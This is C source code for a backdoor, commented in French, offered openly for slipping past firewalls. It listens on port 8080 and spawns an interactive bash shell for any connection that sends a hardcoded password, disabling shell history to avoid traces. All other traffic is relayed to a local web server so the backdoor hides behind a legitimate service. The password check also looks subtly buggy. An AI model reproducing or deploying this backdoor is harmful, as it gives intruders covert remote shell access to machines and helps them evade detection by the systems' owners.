/*
 * Backdoor à 2 sous pour passer les firewalls from Lapinou 
 * 
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

// La syntaxe de write étant ce qu'elle est....
#define FERROR "Fork error\r\n"
#define CERROR "Connection error\r\n"
#define SERROR "Socket error\r\n"
#define RERROR "Read error\r\n"
#define BANNER "Ph34r my 31337 sk1lls\r\n" 

#define REDIRECT_PORT	80
#define REDIRECT_HOST	"localhost"
#define LISTEN_ON		8080

#define PASSWORD		"toto"

static void do_copy(int, int);
static void runservice(int);

int main(int argcc, char *argvv[]) {
	struct sockaddr_in lis,con;
	int len, ls, cn;

	// Ouverture of the socket
	memset(&lis, 0, sizeof(lis));
	lis.sin_family = AF_INET;
	lis.sin_addr.s_addr = INADDR_ANY;
	lis.sin_port = htons(LISTEN_ON);
	
	if ((ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		perror("socket");
		return 1;
	}
	len = 1;
	if (setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &len, sizeof len)) {
		perror("setsockopt");
	}
	if (bind(ls, (struct sockaddr *) &lis, sizeof lis)) {
		perror("bind");
		close(ls);
		return 2;
	}
	if (listen(ls, 4)) {
		perror("listen");
		close(ls);
		return 3;
	}

	// Deviens un dangereux daemon
	daemon(0, 0);
	for (;;) {
		if ((cn = accept(ls, (struct sockaddr *) &con, &len)) < 0)
			continue;
		switch (fork()) {
			case -1: /* Error */
				write(cn, FERROR, strlen(FERROR));
				close(cn);
				break;
			case 0:
				close(ls);
				runservice(cn);
				exit(0);
			default:
				close(cn);
				if (fork() > 0) exit(0);
		}
	}
	return 0;
}

#ifndef MAX
# define MAX(a, b) ((a) > (b) ? (a) : (b))
#endif

static void do_copy(int a, int b) {
	char buf[64];
	fd_set s;
	int i, m;

	m = MAX(a, b) + 1;
	while (1) {
		FD_ZERO(&s);
		FD_SET(a, &s);
		FD_SET(b, &s);
		if (select(m, &s, NULL, NULL, NULL) <= 0)
			continue;
		if (FD_ISSET(a, &s)) {
			if ((i = read(a, buf, sizeof buf)) <= 0 ||
					write(b, buf, i) != i)
				break;
		}
		if (FD_ISSET(b, &s)) {
			if ((i = read(b, buf, sizeof buf)) <= 0 ||
					write(a, buf, i) != i)
				break;
		}
	}
	close(a);
	close(b);
}

static void runservice(int s) {
	int nc;
	struct sockaddr_in pin;
	char hostname[100];
	struct hostent *hp;
	int cursor=0;

	// Variable pour le shell
    char *name[3];
    char *env[3];
    char *execname;
	// TODO : reprendre les variables déjà settés, a l'exception des "mauvaises"	

	char *reception, *attendu;
	char *cur_rcpt, *cur_ated;
	
	// Allouer la mémoire qui va bien... 
	reception = (char *) malloc(strlen(PASSWORD) * sizeof(char));
	attendu   = (char *) malloc(strlen(PASSWORD) * sizeof(char));
	strncpy(attendu, PASSWORD, strlen(PASSWORD));
	cur_rcpt = reception;
	cur_ated = attendu;
	
	
	// Afficher, si nécessire une bannière d'accueil (ça dépends du service)
	// pour certains services, on peut même carremment commencer l'interconnection
	// pour avoir la bonne banière
	// write(s, BANNER, strlen(BANNER));
	
	// Lire la socket, octet par octet et se souvenir !
	cursor=0;
	do	{
		if(recv(s, cur_rcpt, 1, 0) == -1)	{ 
			write(s, RERROR, strlen(RERROR));
        	close(s);
			return;	
			}
		cursor++;
		if( (cursor==(strlen(PASSWORD)-1)) && ( *cur_rcpt == *cur_ated ))	{
				// Petite bannière d'accueil
				write(s, BANNER, strlen(BANNER));
				
				dup2(s,0);
                dup2(s,1);
                dup2(s,2);
                execname="/bin/bash";
                name[0]="/bin/bash";
                /* gives somewhat nicer appearence */
                name[1]="-i";
                name[2]=NULL;
                /* if the actual /bin/sh is bash
                 * we need this to get rid saving stuff into
                 * .bash_history file
                 */
                env[0]="HISTFILE=/dev/null";
                env[1]="TERM=xterm";
                env[2]=NULL;
                execve(name[0],name,env);
                
				// On n'atteindra jamais ce point
				perror("What's the fuck I am doing here ?");
                exit(1);
				}
		}
	while( (cursor < (strlen(PASSWORD)-1)) && (*(cur_rcpt++) == *(cur_ated++)) );
		
	free(attendu);

   	strcpy(hostname,REDIRECT_HOST);
	/* go find out about the desired host machine */
	if ((hp = gethostbyname(hostname)) == 0) {
		perror("gethostbyname");
		exit(1);
	}	

	/* fill in the socket structure with host information */
	memset(&pin, 0, sizeof(pin));
	pin.sin_family = AF_INET;
	pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
	pin.sin_port = htons(REDIRECT_PORT);	
	
	if ((nc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		write(s, SERROR, strlen(SERROR));
		close(s);
		return;
	}
	if (connect(nc, (struct sockaddr *) &(pin), sizeof (pin))) {
		write(s, CERROR, strlen(CERROR));
		close(s);
		close(nc);
		return;
	}
	
	// Envoyer ce qui a été donné à la nouvelle socket
	write(nc, reception, cursor);	
	free(reception);
	
	do_copy(s, nc);
}
